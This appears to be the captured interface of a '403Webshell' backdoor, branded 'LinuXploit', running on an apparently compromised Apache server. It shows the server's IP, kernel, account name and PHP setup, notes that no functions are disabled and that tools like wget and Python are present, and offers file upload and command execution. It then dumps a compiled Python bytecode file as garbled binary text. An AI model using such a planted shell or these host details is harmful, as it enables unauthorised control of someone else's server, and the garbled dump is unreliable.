403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/Tools/scripts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/Tools/scripts/__pycache__/update_file.cpython-36.pyc
3

x2_��@sjdZddlZddlZdd�Zedkrfeej�dkrPedejdf�ejd�eejdejd	�dS)
z�
A script that replaces an old file with a new one, only if the contents
actually changed.  If not, the new file is simply deleted.

This avoids wholesale rebuilds when a code (re)generation phase does not
actually change the in-tree generated code.
�NcCs`t|d��}|j�}WdQRXt|d��}|j�}WdQRX||krRtj||�n
tj|�dS)N�rb)�open�read�os�replace�unlink)Zold_path�new_path�fZold_contentsZnew_contents�r
�>/opt/alt/python36/lib64/python3.6/Tools/scripts/update_file.py�main
sr�__main__�z7Usage: %s <path to be updated> <path with new contents>��)	�__doc__r�sysr�__name__�len�argv�print�exitr
r
r
r�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit